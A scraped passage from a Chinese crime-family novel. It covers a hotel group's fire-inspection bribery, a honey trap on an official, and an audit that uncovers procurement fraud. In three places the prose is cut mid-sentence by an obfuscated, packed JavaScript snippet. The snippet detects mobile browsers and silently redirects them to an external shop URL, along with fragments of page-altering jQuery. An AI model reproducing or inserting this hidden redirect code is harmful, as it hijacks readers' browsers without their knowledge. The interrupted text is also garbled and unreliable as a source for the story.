老三金培立正窝在办公椅上玩扫雷,头也不抬地说:“新城区那边最近不是有几个酒店项目在做吗?” 金志立:“酒店?我们没做过。外行插足,不怕完蛋?” 金少立若有所思:“我倒是听到风声,裴岛有意发展旅游经济,如果能将酒楼、住宿、健身、会务等综合起来,再打通和旅行社、企业之间的关系,也许还能扩大客源……三哥,你再说说?” 金培立:“老六,你的想法和那个开发商是一样的,而且人家是有内部消息的。那地盘我去看过,已经建好大半,层高和功能分区都很适合。唯一的问题是,今年上半年雨下得太多,工期被耽误了,加上建材涨价,费用攀升,资金出了问题,贷款还不上,随时要跑路。要是我们这时候出手,不仅有机会抄底,还能卖对方一个人情,多交几个朋友。” 金志立:“卖多少?” 金培立:“你是想要入股还是买断?” 金少立:“可以先不买断,但要绝对控股。” 金志立看看金培立,又看看金少立,直到他们已经下决定要买,只好说:“我觉得可以分两步谈,逐步完成全面收购。项目主人是谁?我找律师出个方案,跟他谈谈?” 金培立闻言,掏出翻盖手机,说:“何炎彬,我岳父介绍的,正到处找人接盘。还有另外一个投资人,名字好像叫……啊,找到了,这姓也是特别,叫做刕康耀。话说,这何炎彬父亲就是做房地产的,只是后来亏得连袜子都不剩了,没想到子承父业,照旧在房地产打转,照旧失败收场。” 洽谈很顺利,何炎彬对金志立提出的价格虽然有异议,但他急需周转,不得不壮士断腕,将手上的股权全部抛了。此后,几家酒店的法人变更为金少立,属叹世界集团旗下物业。后来,断断续续的,金志立又从刕康耀手上收回了剩下的股权,悉数转入金少立名下。 从此,何炎彬和刕康耀从股东名单上消失,但金家和他们之间的关系再也没有断过。 交易时,何炎彬对金少立说:“这几家酒店绝对大有前途。” 他做生意不行,眼光倒是可以。 一年后,三家酒店同时竣工,并在九月份正式开业。叹世界名下的五家酒楼,除了总店和第二分店外,其他全部退租,进驻各家酒店。 同时,叹世界成立酒店事业部,金培立顺理成章地成了事业部的总经理。 没多久,裴岛扶持旅游业发展,口岸全面开放,签证条件大幅度放宽,叹世界迎来了第二个春天。等到2007年,其资产估值已经比2006年翻了五倍。酒店事业部也升格成了事业群,金培立的事业发展再上一层楼。 叹世界不仅回了本,还挣得盆满钵满,开始筹划自己的独立总店。 就在这个时候,问题找上门了。 也许是天干物燥,坚利地城的某家平价酒店深夜大火,连烧五座楼,死伤过百,消防检查一下严了起来。 金培立作为总经理自然要担起责任。 “事实上,即使不是消防检查找上门,他对消防向来都是上心。小偷小摸还好处理,要是死了人,整座酒店可能就此一蹶不振。所以,消防署头几次来检查时,他都乖乖听话,让换什么就换什么,让加什么就加什么。我们还开玩笑说,再这样下去,酒店可以直接改成消防用品店了。” 何玥低头看着纸杯中的水,像是看着自己和金培立的过去。 她继续说:“他以为,这些检查总归是有标准的,有标准就意味着整改是有尽头的,可金培立想错了,根本没有尽头。这个时候,他只有一条路可走,那就是找关系。” 金培立花了好长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076137|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一段时间的功夫,一直摸不到真正话事人,直到刕康耀突然做起了消防器材生意,公司取名“给力消”,他才发现不对劲。我想起来,何炎彬的那些内部消息都是从刕康耀那里得到的。刕康耀虽然现在不算大富,但祖上是富过的,有点人脉。 他问刕康耀:“整个裴岛那么多家卖消防器材的,为什么偏偏是你的公司成了推荐供应商?” 刕康耀原本什么都不想说,可架不住金培立死缠烂打,几瓶洋酒下肚,便东拉西扯地什么都说了。 金培立将他那些囫囵话东拼西凑,最后凑出了一个名字:钟子默。 钟子默和刕康耀的关系可以说是远房到不能再远房,无论是查族谱还是查DNA都查不出来的那种,但血缘并非这世间唯一的连接,能把两个陌生人连起来的,还有利益。 刕康耀早就忘了自己酒后说过什么,金培立怕他出于利益考虑,妨碍自己,也就不动声色。他找了私家侦探,把钟子默的背景挖了挖,发现是得罪不起的人。 那时的钟子默还不是议员,但在组织里已经小有名气,被当做某位大佬的接班人来培养。 大佬总是有很多地方需要花钱的,譬如选举,譬如生活,譬如应酬,譬如女人。 钟子默也是这样的大佬。 何玥说:“金培立一直有个习惯,喜欢偷窥。酒店刚开的时候,他曾经在钟点房里偷偷装过针孔摄像头。后来,集团高层下去视察,被我们二嫂发现了,罚得很严厉。他这才消停了一年多。消防这件事情一出,他这种小偷小摸的技能便派上了用场。” 那一天,金培立通过中间人,找了几位美女,在钟子默经常出入的地方施展美人计,没想到还真成功了。 美女按照计划,将钟子默带到了叹世界酒店的套房里。 另一边,金培立已经和钟子默夫人的司机通过气,让他适时做些好事,不要让本就神经过敏的女主人蒙在鼓里,自然“好人有好报”。 计划进行得很顺利,唯一出乎意料的是,钟夫人早就知道丈夫在外头彩旗飘飘,已经忍耐到了极限,被司机这么机缘巧合地一捅,一直隐忍的秘密被捅破了。她神经受不了,在手提包里藏了把水果刀,一见到赤身的钟子默就往他身上捅了过去。 何玥:“我不知道那个时候的金培立在想什么,反正结果就是,他冲了上去,给钟子默挡了一刀。从那以后,两人成了好友。叹世界旗下的一切消防检查自然就过关了。而刕康耀的‘给力消’公司也成了叹世界消防器材的指定供应商。” 安小贝:“钟子默难道就没有想过,自己可能是被‘仙人跳’了?” 何玥:“这我就不清楚了。反正他们俩‘出双入对’,金培立有的是时间解释,黑的都能辩成白的。再说了,你们不也看到他手上戴着的表了吗?那原本是我的,诺群和诺宇出事之后,金培立为了缓和和钟子默之间的关系,才将手表送给了他……这个懦夫……他明明已经觉察到……” 安小贝:“既然如此,金培立为什么还要留着这张DVD?难道就不怕东窗事发?” 何玥:“骗子不仅会欺骗别人,同时也会担心自己被别人欺骗。金培立不抓点证据在手,是不会心安的。” 安小贝:“但这个证据可能要让两位失望了。” 何玥:“什么?” 安小贝:“你可能不是很清楚,如果只是□□,即使对象是未成年,判刑也没有你想象中的重。很讽刺,对不对?” 何玥疑惑地看着她:“那……如果他们以后被放出来了,我会被报复的,对不对?” 邝斯年接话道:“所以,接下来让我们谈谈别的案子吧。” “什么案子?” “命案。包括令郎的命案。以及这些命案背后的经济问题。” 31. 茶匙 031 金诺群和金诺宇的车行被查封了,连带着被调查的还有他们一家位于达摩山的别墅。 童鸢站在房间阳台上,远远看着陈莉和刘毅将金老三家的电脑和文件搬走,红蓝相间的灯在楼下亮了一整夜。 闪烁的灯光中,刘毅发出感慨:“人家一艘游艇就比我的家都要大。” 陈莉摘下手套,甩掉灰尘:“满足吧,你已经够幸运了。” 抬头间,陈莉的目光和童鸢的撞了个正着。童鸢和她见过几次,也得过她的照顾,不知道算不算熟,于是抬起手掌挥了挥,当是打了招呼,然后各回各家。 不料陈莉将手套往刘毅手里一塞,就朝他们家的方向走了过来。 不一会儿,客房里的内线电话响了,菲的声音传来,说是有朋友过来找她。 到了楼下,只见菲衣着整齐,头发纹丝不乱,正面带微笑地给陈莉和刘毅上茶和点心。 菲训练有素,波澜不惊,倒是两位探员受宠若惊。 陈莉说:“真的不用,我们聊几句就走,就不坐了。” 刘毅一直盯着点心,言行不太一致:“不不不不,不行,坏了规矩。” 菲见童鸢下来,没再说,只把东西放下,离开了客厅,将空间留给他们。 陈莉看见童鸢,果真不坐了,走过来问:“伤养得怎么样?” 童鸢没想到她是惦记这件事,说:“已经拆线,好得差不多了。你们今天过来是……” “啊,没什么,只是觉得你既然在这里住了有段时间,不知道有没有留意到金家内部的一些异常?比如金培立一家和其他兄弟之间的关系之类的。” 童鸢知道,是金培立在寿宴上所说的那句话起了作用,让探员对证物的浮现和证人的动机产生了怀疑。 童鸢:“其实我也是今天才有机会和他们几位同在一桌吃饭,大家的时间安排不同,很难凑到一起,所以我也说不准他们之间的关系。” 陈莉:“那金培立和他夫人之间的关系呢?” 童鸢认真想了想:“我说不上来,但在今晚宴会开始之前,我看到金先生甩了三嫂一巴掌,可具体是因为什么原因……当时距离太远,我没有听见。” “这样啊……有件事情我们好像一直没有跟你讲,那天割伤你的人我们已经找到了。” 童鸢一怔。关于这件事,邝斯年一直都没有和她提起过。 她连忙问:“那个人现在在哪?你们把他抓起来了吗?他为什么要这样做?” 陈莉拉她坐下,说:“他是叹世界集团底下的一名骑手,那天他是因为害怕订单超时,抄了近道。但近道不好走,平台又一直显示超时扣钱,一时想不开,就把客户买的刀拆了,刚好遇到你们。” “所以……你的意思是这是无差别报复?” 陈莉看着她,点头。 童鸢皱眉。 太相似了。和她过去所遭受的所有“意外”都太相似了。她拉住陈莉的衣袖,说:“那个人怎么说?” “他什么都没有说。他死了。” “……死了?” 又死了。 陈莉:“对,那人在逃跑时突发心肌梗死,倒地后被货车压过,当场死亡。” 又是一场意外,或者说是事故,这跟过去被报复投毒,烤箱故障都是一样的设计思路。如果这些事故是出自同一个人的手笔,对方的目标很可能不只是自己,还有司马荷生。 可这样就没有办法解释其他事情——樱桃公寓的摄像头是谁装的?既然金培立有意瞒着刕康耀和何炎彬他们,他还愿意冒险在别人家的地盘动手脚吗?另外,那个在拍摄现场跟踪她回家的那个人又是谁?和在凤鸣洲际发布海秀仪和段书艺合成视频的会是同一个人吗? 童鸢陷入沉默。陈莉一直看着她的反应,说:“你是不是想起了什么?” 童鸢急忙从繁复的思绪中抽离出来,说:“我……我只是突然不知道,自己还该不该生气……” 刘毅:“是个苦命人啊。” 陈莉:“对啊,巧合的苦命人。” 此话一出,童鸢即刻明白陈莉的意思——她在怀疑司马荷生,怀疑是家族内部的恩怨导致相互报复。 可童鸢不能直接说出口,只装作没听懂,长叹一声:“唉。” 陈莉也不再绕圈子,说:“据你了解,司马夫人和金培立夫妻之间的关系怎么样?” 童鸢故意表现得一脸懵,却不撒谎,说:“司马夫人把大部分的精力都放在自己的公司上,叹世界上的事情好像也不怎么理会,就连筹办寿宴,都是交给三位嫂子处理,基本没有参与。” 陈莉:“那她到金培立家的次数多吗?往来频繁吗?” 童鸢又思考了一番,说:“就我自己观察,几乎没有。” 陈莉:“那何玥对司马夫人的态度怎么样?” 可以说是阴阳怪气。 童鸢说:“挺客气的。” 陈莉:“那你刚才说的那三位嫂子之间呢?” 童鸢:“据我了解,二嫂和四嫂都是叹世界集团的高层,要说利益冲突的话,我觉得她们之间的冲突可能更大。毕竟集团内部的资源是有限的,除了老幺金少立和老大金志立之外,其他三兄弟和妯娌处在不同的部门,倒是有可能在利益和资源分配上打架。” 陈莉:“你看到他们吵架了?” 童鸢:“倒是没有,只是我听你的口吻,好像在试图通过利益推断动机,所以我想,如果金培立和何玥倒了,谁获利最大?从这个角度出发,最先可以排除的就是司马荷生。” 陈莉:“为什么?” 童鸢:“因为她只是股东和董事长的配偶,不参与经营,不领工资,只收分红和遗产。站在她的立场考虑,应该是多一事不如少一事,让金家兄弟同心协力给她挣钱,才是第一要务。剩下的就只有老大、老二、二嫂和五嫂了。如果金培立的职位空了出来,他们是不是就可以趁机发展自己的势力呢?毕竟他们不是遗产的第一顺位继承人,只有夺权,讨好继承人,才可能使利益最大化。当然,这都是我瞎猜的。” 陈莉:“好像很有道理,但你是不是忽略了四嫂袁虹霞?” 童鸢觉得陈莉是在敷衍她,可她还是接着往下说:“四嫂……不好说。如果说是服装公司的采购经理和一个事业群的总经理相比,应该是总经理挣得比较多吧。不过,听说采购是个油水挺多的岗位,我没做过,只是听说而已。” 陈莉看着她,沉默片刻,随后淡淡一笑,说:“谢谢你,时间也很晚了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087096|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们就不打扰了。” “不客气,慢走。” 将陈莉和刘毅送出别墅,童鸢的思绪还沉在那位摩托车骑手上,回头间,余光里浮现出一个人影,不由一惊。定神再看,是司马荷生。 她不知道什么时候回来了,也不坐电梯,从负一层走路上来,此时正斜靠在楼梯口的墙壁上,两手抱在胸前,静静地看着童鸢。 童鸢连忙调整面部表情,说:“司马夫人,你回来了?怎么……不坐电梯?” 司马荷生:“夜深人静,我怕电梯的声音吵到你和菲。” “啊,这样……刚才侦查局的人来过,问了我几句。那……我先回房间休息了。” 童鸢说着,走向楼梯间。她也不敢坐电梯了,只当做睡前运动,爬爬楼梯。 擦肩而过的瞬间,司马荷生拉住她的手臂。 “为什么替我说话?” 童鸢一怔,原来她都听见了。 “我……我只是说了点自己的观察而已。” “你难道不会怀疑吗?” “……怀疑什么?” “你应该发现了,我和金家的关系一般。而前天下午,我差点想把你勒死。” 童鸢知道的。她都知道。 她只是不愿往那方面想。 现在,这个想法被司马荷生一语道破,童鸢不知该如何反应。她更加不理解的是,为什么?一个母亲到底是抱着怎样的心情才会想要杀死自己的孩子。 也许,她真把自己当成了金少立在游轮上捡回来的小宠物,想要报复。但既然她只是一只小宠物,杀了便杀了,她为什么又像犯了天大的错一样? 是因为她想起来自己还有个女儿吗?还是因为她感激她替她挡了一刀,手下留情?或者只是单纯不想坐牢? 童鸢下意识地咬了咬嘴唇,看着司马荷生的双眼,说:“最后你不还是没有勒吗?” 司马荷生眼眶里瞬间冒起了水雾,但很快又被她强行蒸发掉,快到让童鸢以为那水雾是自己的,刚才的一眼不过是错觉。 司马荷生脚步微动,上前抱住童鸢。 她在她耳边说:“你不该原谅我,你应该要恨我的,阿鸢。” 童鸢没听懂,可她想哭。 她眨着眼睛,看着墙上的暗纹墙布,努力不让眼泪掉下来。 这个拥抱很暖,似乎要将未尽的话语说明白,那是一声:对不起。 司马荷生:“阿鸢,‘厨力觉醒’还要录多久?” 童鸢不明白她为什么突然提起节目的事,但还是如实回答:“顺利的话,可能还需要一周。” “一周……好,既然如此,你也不要搬走了,留下来。司马伯爵总经办有空位腾出来给你。” “可是……我以为你上次说的是场面话……” 司马荷生轻轻抚摸她的后背:“司马伯爵今天启动IPO筹备,有大量工作要做,需要人手。” “大量工作?” “主要在财务方面,尤其是财务审计。而我需要有人在总经办里替我盯着,做我的助理。” 那一刻,童鸢想起了曾秀芬,袁虹霞和给力消。 对陈莉,有些话她没全说。 这位司马夫人多的是报复的理由。 32. 茶匙 032 “喂喂,听说了吗?公司好像在筹备上市。” “不会吧,你怎么知道的?” “我今天上去预定会议室,看到财务部隔壁的大会议室被锁死大半年,上面写着财务审计。一般审计哪会审这么久?我还听说,法务部从这周开始,天天加班。” “真的?我还以为公司有生之年都不会上市呢。” “怎么可能?司马伯爵老牌子,规模大,成绩好,前景好,就看我们老板想不想而已。唉,荷姐佛系,不怎么加班是好事。但如果想要职业发展,果然还是得狼一点。” “你说,要是成功了,会不会有原始股放出来?如果有原始股,我愿意拼命的。” “你想哪了?原始股可不是人人都有资格买的。你有钱也未必能有。” “那你说,我现在升销售老总还来得及吗?” 这明显是句玩笑话,两人在茶水间里嘻嘻哈哈,抱着水杯出发跑外勤去了。 一旁的冰箱门合上,袁虹霞手里拿着苹果,若有所思地咬了一口。 这一口咬得干脆,和她的眼神一样,多了一股寻常少见的凌厉锋芒。 “诶,袁经理,你在这啊,关于今年的部门预算,会议室已经准备好了,随时可以开始。”采购部主管上完洗手间经过,过来喊她。 袁虹霞应声回头,脸上又恢复了平日里的低眉顺眼,温声细语:“好,这就来。” 去会议室的路上,袁虹霞打开手机,翻出二嫂曾秀芬的头像,敲入一行字:可能瞒不住了。 刚一发过去,她就长按白色对话泡泡,底下随之弹出选项,选择:删除。 很快,对面发来回复:怎么了? 袁虹霞一边删一边回,一边回又一边删:IPO。 曾秀芬:账目方面没问题吧。 袁虹霞:该做的都做了,但我不知道审计的底。 曾秀芬:生面孔? 袁虹霞:法务和审计都是突然从国外分公司调回来的。 曾秀芬那边隔了好一阵:回去再说。 袁虹霞看着头上的吸顶灯,长长叹气,最后关上手机,将它塞进西装外套的口袋里。 前往会议室的路上,她需要经过电梯间外的玻璃大门,她三两口将苹果吃完,捧着水杯经过。刚走出没两步,便听到电梯抵达的声音。 没记错的话,寻常九点不到就到岗的司马老板今天还没有回来。 她刻意放慢了脚步,悄悄往身后看去。余光里,她果然瞥见了司马荷生,而在司马荷生身旁,跟着她带回家的那个还没毕业的小朋友。 袁虹霞并不清楚这小朋友的底细,某天回到家吃饭便发现餐桌旁多了这么一个人。 听五婶肖月娥说,这小家伙有点手段,先是在年会上接近老六,又是在节目里搭上她的儿子,后来又和侦查局的探员走得极近,现在还登堂入室,住进了金家。 肖月娥自然是省略了某些部分的。年会的那天晚上,袁虹霞就曾见到肖月娥本人和小家伙有说有笑。与其说是小家伙故意接近老六,不如说是肖月娥有意把人家往老六身边送。 她看见了,但她不出声。她一向如此。 只是此刻正值IPO筹备初期,这孩子就出现在司马伯爵的写字楼里,这个时间节点,未免太敏感了些。 她站在过道的转角处,暗中看着童鸢和司马荷生两人的背影,看着她们侧着脸有说有笑,总觉得哪里不太对劲。 童鸢的这张脸,怎么看都觉得脸熟。 她心想,长得好看的女人总是相似的。核心问题是,她是来做什么的。 袁虹霞不敢再多逗留,从相反方向离开,关上了会议室的门:“来,开会吧。” 写字楼的墙面,在中间位置留了一条十厘米宽的金属装饰,像缎带一样缠在腰上。 童鸢刚一进入办公区便注意到拐角处有人,她不动声色,继续回答司马荷生对她问起的问题。 严少敏的寿宴后,童鸢就恢复了《厨力觉醒》的拍摄,有空的时候就跟在司马荷生身边,提前学习。 司马荷生对她的好奇心也越来越旺盛,从应聘柠檬果娱乐的实习岗位,到突然变成出镜学徒,到最后登上叹世界号游轮,事无巨细,全都问了一遍。 关于自己的来历,童鸢之前在侦查局外的时候已经和司马荷生交代过,但当时交代得比较潦草,现在重新来一场“面试”也不足为奇。而来到裴岛之后的事情,童鸢没有隐瞒,连肖月娥在这中间扮演的角色都说得一清二楚。一来是觉得没必要,二来是出于私心,她希望自己可以和司马荷生站到统一战线上。 就目前的情况而言,童鸢相信,一直以来想要杀她的人绝不会是司马荷生。 一旦聊起那个节目,就不得不谈到金诺贤和任莲。司马荷生问童鸢:“你们小组私底下相处得来吗?他们有欺负你吗?” “没有,阿贤的嘴是损了点,但并不是坏人。莲姐就更是对我好了,还有书艺……”童鸢大脑一下卡壳,一时间没法再往下聊,转而说,“不过现在已经进入最后的决赛阶段了,组里也就剩我和莲姐了。” 司马荷生将她的反应看在眼里,沿走廊拐了个弯,轻轻拍了拍她的后背,说:“对了,我见你刚才开始一直看着墙上的装饰带,是怎么了?” 童鸢:“我感觉刚才好像遇到了四嫂。” 司马荷生:“袁虹霞?” “嗯,四嫂在背后盯着我们看。” “这听起来像个鬼故事。” 司马荷生用轻松的语气说出这句话,让童鸢感到有些陌生,但她很快接受了这份陌生,甚至觉得有趣。她笑了:“不,是显得我做贼心虚。” 这次轮到司马荷生微微一愣,也笑了:“那我就是最大的贼头了。” 等司马荷生回到办公室,童鸢熟练地到她的独立水吧前给她煮咖啡。刚好,她从任莲身上学会了拉花。 磨豆子的声音响起时,司马荷生已经打开电脑,处理新堆上来的办公流程,有人来敲门。 是财务部审计组组长高诗雨。 她常年驻扎在海外分公司,在裴岛人际关系清白,这次整个小组作为工作组的重要组成,被司马荷生额外加薪调回来。虽然在职位上没有调整,但小组成员都把这次工作看成是衣锦还乡前的考验,工作起来格外卖力。 高诗雨留着短发,戴着框架眼镜,手里拿着一沓文件,走向司马荷生。她还不是很习惯童鸢这位实习助理的存在,眼镜背后饱含警惕,一语不发,似乎要等童鸢出去了才肯说话。 司马荷生头也不抬:“说吧,没关系。” 高诗雨又看了童鸢一眼,才说:“采购部果然有问题。” 采购部向来是财务问题的重灾区,无论在任何企业。只是很多人选择睁一只眼闭一只眼,或者通过频繁调岗来打断利益联系。 司马荷生属于前者。她瞥了眼高诗雨手上的文件,问:“找到证据了?” “对,但很隐蔽,主要出现在一些边角料上。” “边角料?什么意思?”司马荷生终于扭过头来。 高诗雨摊开文件夹,递到她面前,说:“我们先查了近两年的报表和原始凭证,如果光是看数字的话是看不出端倪的,毕竟从报价审批到入库结款都有流程存档,没办法使诈。但因为我们组内有个别成员是中途出家,一开始是行政出身,对于办公物资的采购十分敏感,所以看出了问题。” “你看,”高诗雨指着两张图片,“左边是凭证上的价格,右边是市场上同款产品同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108330|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 款规格的报价,我们买贵了不止一点。” 司马荷生:“单价也就贵一两块而已,可能是长期合作,懒得重新找供应商了。时间也是成本。” “好,就当是一时失职,那这里呢?”高诗雨翻开下一页,“这是消防器材的采购,另外还有总部和门店的建筑维修,工厂的生产耗材,衣服上类似于扣子这样的小配件,这里每年的亏空可不是个小数目。” “大头在哪?” “消防,工厂、总部和门店加起来,测算接近千万亏空。其次就是建筑维修。” “这是所有年份加起来的数字?” “不,只是一年的数字。” “所以总金额是多少?” “时间有限,我们只查了近两年的,如果你可以给我们更多的时间,我们一定可以给你一个总数。” “可以,但不要让我等太久。” “好。”高诗雨合起文件夹,准备出去。可她的手刚按上文件夹的边,就被司马荷生推了回去。 司马荷生:“这东西留下来给我吧,可以吗?” “啊,当然可以。这是我第一次到总部工作,不是很懂规矩……” “没关系,我就是看中你们不懂规矩。”司马荷生扬起温柔的笑,将文件夹收起,放到台式电脑旁的文件篓里。 高诗雨问她:“我可以提前了解一下吗?你接下来更倾向于怎么处理这件事?” 司马荷生:“你的建议是?” 高诗雨:“趁现在还只是上市筹备期,将问题全部一次性清理掉。当然,这需要花时间,可能没有办法在短时间内完成IPO,就看老板你愿不愿意多等等。” 司马荷生笑了。童鸢刚完成拉花,抬头间便看见她这一笑。 这笑里含着轻蔑、自嘲、满意以及对下属的欣赏。她说:“我有的是耐心。” 高诗雨从进门起就是扑克脸,听了这简短的一句话,眼里突然有了光。 司马荷生:“采购这种经济问题我不是很懂该怎么处理,你是准备揪出供应商来对质吗?无论是对簿公堂还是清理违规人员,总得讲证据吧。你花那么多时间得出来的这坨数据最后能站得住脚吗?” 高诗雨:“我……我们会主动联系法务部,争取这两天给出一个初步方案。” 司马荷生没再多问,又问了几句回国后的生活问题,就放高诗雨出去了。 童鸢将做好的拿铁放到司马荷生面前,说:“放了椰浆。” 浅咖色的咖啡表面飘着一只天鹅。天鹅歪歪扭扭,与其说是高贵,不如说滑稽。 司马荷生低头看着天鹅:“嗯,做得挺好的。” 童鸢心底喜悦,连带着两眼都在发光。 司马荷生喝了一口:“莲姐教你的?” 童鸢:“对,她可厉害了,什么都会做。” 司马荷生取出刚才的文件夹,递给童鸢,让她看。童鸢想看,但还是假装矜持地推了推,这才翻开了文件夹。 表格里填着密密麻麻的数据和供应商名单。根本不用认真去数,一打眼就能看出谁的名字最多:给力消,还有一家建筑公司,炎火建筑。 司马荷生:“你好像跟侦查局的邝探员很熟?” 童鸢突然福至心灵,知道她想做什么,于是回答:“在裴岛的时候,我们曾一起长大。” 司马荷生:“侦查局应该一直在苦恼游轮坠海、医生杀妻等一堆案子,而我向来是奉公守法的好公民,十分乐意为裴岛的安全效劳。” 刚才才让高诗雨去查,一转头,司马荷生就开始想别的路子,童鸢一时心直口快,说:“你不是说你有的是耐心吗?” 司马荷生没有气她无礼,只悠悠地问她:“你不给自己也做一杯咖啡吗?” 33. 茶匙 033 这一整天,童鸢都跟在司马荷生身边,连回家都是同一辆车。 开车的是司马荷生。她不喜欢加班,下班铃一响她就离开办公室。司马伯爵全体打工人以她为表率,纷纷打起了下班卡。 出外勤的销售和高诗雨小组除外。 司马荷生让童鸢给审计组提前订了加班餐,到会议室里看了一圈,提了嘴最晚不能晚于十点下班,便又拉着童鸢溜了。这位佛系懒散的老板,竟然还能带领司马伯爵稳居如今业绩,实属业界奇迹。 她熟练地将牛高马大的SUV驶入地下车库。童鸢看着她的侧脸,说:“其实我也可以做你司机。” 司马荷生解开自己的安全带:“你的实习工资可没有包司机费哦。” “好吧……” 童鸢没再说什么,今天一天的相处她已经觉得很满足。她滑下副驾,跑向电梯,率先按开了电梯门:“欢迎业主回家。” 司马荷生笑了,淡淡的,走到童鸢身前时抬手拍了拍她的头顶,说:“注意腰上的伤。” 童鸢心里像吃了糖,不再说“伤口已经好得七七八八了”类似的话。她从前也喜欢缠着桃乐丝,但这两者的感觉是不一样的。 这份愉悦随着电梯升起,来到了地面一楼。 一般这个时候,菲已经做好了晚饭。只要不是周五的家族聚餐日,她都会将餐具摆好,一边坐在餐厅旁的木椅上看书,一边等她们回家,然后三人围在桌前吃饭。 可当电梯门打开,童鸢却没有看见菲的身影。 就在这时,门外传来何玥的声音:“菲,板车还你了。” “夫人很快就回来,您看要不要稍微再等一等……” 不等菲说完,何玥便打断了她的话:“不了,我在这里也不受待见,还是赶紧离开吧。” 童鸢听出来了,是何玥要搬出达摩山的意思。 司马荷生放下托特大包,走出客厅,推开虚掩着的大门。童鸢跟在她身后,入眼便看到搬家公司的车,以及十来只行李箱。 司马荷生:“三嫂,你这是要去哪?” 菲见老板回来,急忙退到身后。何玥的神色中有一瞬间的诧异,但她很快便恢复往日那专属于富家太太的悠然神色,说:“自然是回我自己的家。” 司马荷生:“诺宇的事情实在遗憾,有什么需要我帮忙的吗?” 何玥:“你费心了,暂时还用不上,毕竟他现在还留在侦查局里,需要等笔帽山的案子破了才能入土为安。说来还真奇怪,明明是两兄弟,一个死后赶着投胎,一个却连火葬场都迟迟去不了,摊上我们这对夫妻,算他们倒霉。” 面对这种阴阳怪气,连扯一扯嘴角都似乎变得不合适。童鸢看着司马荷生,好奇她会怎么应答,司马荷生却毫不避讳地顺着她的话说:“投胎确实是门技术活。” 何玥那自嘲的笑容顿时冷了下来:“确实,像六嫂你,投胎技术活应该算是我们这群金家媳妇中最好的。要样貌有样貌,要身材有身材,就连事业都有父亲给你提前铺好路。所以你看,即使这么多年过去了,你在采访标题上还是顶着那个老旧的头衔,海归二代白富美,真叫人羡慕。” 何玥的一句话将司马荷生四十多年来的努力全部否定了。 司马荷生:“三嫂还记得去年新年时吃的那道佛跳墙吗?” 何玥一愣,不明白她为何突然提起佛跳墙,说:“自然记得,我的记性还不至于这么差。” 司马荷生:“那一煲佛跳墙,用的是前朝瓷器,盛的是山珍海味,里面的鲍鱼只要稍稍小于二头便没资格上桌。那一晚,桌是上了,老佛爷精神矍铄,从里面挑出了一根眼睫毛。最后,没有人知道这锅佛跳墙到底好吃不好吃,只知道这佛跳墙熬了三个钟头后,还是被挑剔的老佛爷叫人丢进了垃圾桶。” 何玥:“……你到底想说什么?” 司马荷生笑笑,没有回答。她不再纠结于佛跳墙的比方,转而问何玥:“你难道不好奇吗?那碗丢出去的佛跳墙,最后落入了谁的口袋里。而里头的美味又是谁掏的钱,谁买来的料。” 何玥瞳孔一震,瞬间明白她话里的意思,往后退了两步。司马荷生没有动,依旧保持着优雅的微笑,说:“当然,我是不知道的,三嫂你知道吗?” 搬运司机摇下车窗,在驾驶座上点燃了香烟。他一手拿烟,一手垂在车窗外,有些不耐烦地敲着车门,笃笃。 何玥趁机下台,假装没有听懂,说:“既然已经丢进垃圾桶,除了乞丐,还能有谁拿去吃?时间不早了,师傅们也赶着下班,我得走了。” 何玥说着,朝司机挥了挥手,自己则拉开了货车旁的宾利的车门。 “何夫人,感谢配合,这门还没有上锁。” 那是一把熟悉的男人的声音。童鸢循声望去,只见邝斯年从金培立的别墅内走了出来,正用绣了花的小方巾擦手。 何玥眉头一皱,朝天翻了个白眼。她很不耐烦,将大门钥匙从钥匙包里拆下来,扔向邝斯年。这投篮的准头不太行,差两级台阶才能到邝斯年面前。 邝斯年长臂一伸,将钥匙勾入掌心,握住。 何玥:“你们爱怎么查就怎么查吧。我只是个两耳不闻窗外事的家庭主妇,你们以后别来烦我。” 说完,一脚油门,宾利扬长而去。 刘毅在邝斯年身后走出来,感叹:“真是薄情啊,利用完我们就两手一摊,什么都不管了。” 司马荷生看着越缩越小的两辆车,将视线收回,落在邝斯年手上:“真可爱。” 邝斯年擦手的动作明显一僵,闻言看向童鸢,随后假装不经意地将小方巾折好,放回口袋里。 童鸢看不清,只觉得那东西眼熟。司马荷生倒是笑了:“手工做的?” 这下,童鸢终于想起来,那是她小学时做的手工作业。她本人是不用手帕的,每次洗完手往裤子上一擦便完事,如果不是课题硬性要求,她情愿砌乐高。交过作业后,她觉得放在家里碍事,便借花敬佛送给了邝斯年。 本是一件毫无诚意的礼物,邝斯年倒好,竟然带来了裴岛,还一直用到现在。 